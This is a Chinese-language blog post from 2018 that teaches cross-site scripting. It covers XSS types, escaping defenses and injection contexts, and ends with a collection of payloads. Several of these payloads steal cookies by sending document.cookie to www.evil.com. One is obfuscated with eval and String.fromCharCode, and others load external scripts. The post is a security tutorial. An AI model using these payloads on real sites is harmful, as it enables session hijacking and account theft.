XSS漏洞

作者: 原来是老王 | 来源:发表于2018-12-28 08:16 被阅读65次

    前言


    一直都没怎么搞过XSS,的确是不及格啊!

    XSS是什么


    XSS全称跨站脚本攻击,是一种在web程序中常见的漏洞。

    XSS产生原因


    对用户的输入未进行有效的过滤、编码,输出到网页中,导致注入并执行JavaScript代码

    XSS分类


    • 反射型
      直接输入参数,返回的页面中包含输入的参数。

    • 存储型
      用户输入进入到持久储存介质中,如文件、数据库,访问时从该介质中取数据输出到页面中。

    • DOM型
      用户输入在前端的JavaScript处理DOM时达到了注入JavaScript代码的效果,导致恶意JavaScript代码执行。

    XSS防御方式


    后端对用户输入进行过滤和编码
    • htmlspecialchars 函数
    & (AND) => &
    " (双引号) => " (当ENT_NOQUOTES没有设置的时候) 
    ' (单引号) => ' (当ENT_QUOTES设置) 
    < (小于号) => &lt; 
    > (大于号) => &gt;
    

    缺陷:

    如果输出点在某些特别的位置,该防御无效,如

    标签的属性中
    <a href="$user_input">
    <div style="$user_input">
    <img src="$user_input">
    
    script代码中
    <script>$user_input</script>
    
    • 黑名单过滤
    常用的如
    script
    on\w+=
    iframe
    

    基础知识


    AJAX

    Asynchronous JavaScript And XML

    可用于局部更新网页

    DOM

    Document Object Model

    将HTML/XML抽象成树形结构,节点代表标签、标签属性、标签内容。

    同源策略

    不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源

    不同域

    同协议、同域名、同端口

    授权

    默认是不允许跨域访问,除了目标站点返回的HTTP响应头中含有:

    Access-Control-Allow-Origin: http://www.evil.com

    此时,www.evil.com站点上的脚本才有权通过AJAX对目标站点进行读写操作。

    CORS机制(跨域资源共享)

    XSS的位置


    HTML标签之间

    以下标签需闭合如:
    <title></title>
    <textarea></textarea>
    <xmp></xmp>
    <iframe></iframe>
    <noscript></noscript>
    <noframes></noframes>
    <plaintext></plaintext>
    
    可构造如:
    </title><script>alert(1)</script>
    注:<script>和<style>标签不能嵌套
    

    HTML标签之内

    如:
    <input type="text" value="xxxx" />
    可构造成
    <input type="text" value="xxxx" onmouseover="javascript:alert(1)" x=" " />
    或
    <input type="text" value="xxxx"><script>alert(1)</script>" />
    
    如:
    <input type="hidden" value="xxx" />
    与
    <input value="xxx" type="hidden" />
    其中,前者若闭合属性,由于hidden属性导致触发不了xss,只能考虑闭合标签
    而,后者可以构造成
    <input value="xxx" onmouseover="javascript:alert(1)" type="text"  type="hidden"/>
    
    如在src/href/action等属性内
    <a = href="xxx">click me</a>
    可构造
    <a = href="javascript:alert(1)">click me</a>  //所有浏览器
    <a = href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== ">click me</a>  //IE不支持
    当存在后缀限制时
    如
    <a = href="xxxhtml">click me</a>
    可构造
    <a = href="javascript:alert(1);html">click me</a>
    <a = href="javascript:alert(1)// html">click me</a> 
    <a = href="javascript:alert(1) - html">click me</a> // 算术符号
    <a href="data:text/html,<img src=# onerror=alert(1) >">测试</a>
    
    如在on*事件内,
    <a href=# onclick="xxx">click me</a>
    可构造
    <a href=# onclick="alert(1)">click me</a>
    
    如在style属性内,
    <a href=# style="xxxx">click me</a>
    仅IE
    <a href=# style="width:1;xss:expression(if(!window.x){alert(1);windo.x=1;)">click me</a>
    

    成为JavaScript代码的值

    <script>a="xxx";</script>
    

    成为CSS值

    跟style中差不多

    特殊


    link标签
    仅chrome可用
    <link ref=import href=//xxx.me>
    xxx.me服务器上php源代码
    <?php 
    header('Access-Control-Allow-Origin: *');
    ?>        
    <script> 
    alert(1)
    </script>
    

    常用xss语句收集


    短语句

    使用了jquery的情况下

    eval($.get(‘//xxxx.com’))

    $.getScript(‘//xxx.com’)

    获取数据常用

    调用外部js

    <script src="http://evil.com/xss.js">
    

    发送cookie

    <script>
    document.location='http://www.evil.com/cookie.asp?cookie='+document.cookie
    </script>
    
    <script>new Image().src="http://www.evil.com/steal.php?cookie="+escape(document.cookie);</script>
    <script>eval('new Image().src="http://www.evil.com/steal.php?cookie1="+escape(document.cookie)')</script>
    <script>eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,101,118,97,108,46,99,111,109,47,115,116,101,97,108,46,112,104,112,63,99,111,111,107,105,101,49,61,34,43,101,115,99,97,112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))</script>
    
    <script>location.href = "http://www.evil.com/steal.php?cookie="+escape(document.cookie)</script>
    

    发送同源特定目录的cookie

    <script>f=document.createElement("iframe");f.src="/sql/index.asp";document.getElementsByTagName("body")[0].appendChild(f);f.onload=function(){new Image().src="http://www.evil.com/cookie?msg="+f.contentWindow.document.cookie;}</script>
    

    参考


    Web前端黑客技术揭秘

    推荐测试网站

    相关文章

      网友评论

        本文标题:XSS漏洞

        本文链接:https://www.haomeiwen.com/subject/tgwjlqtx.html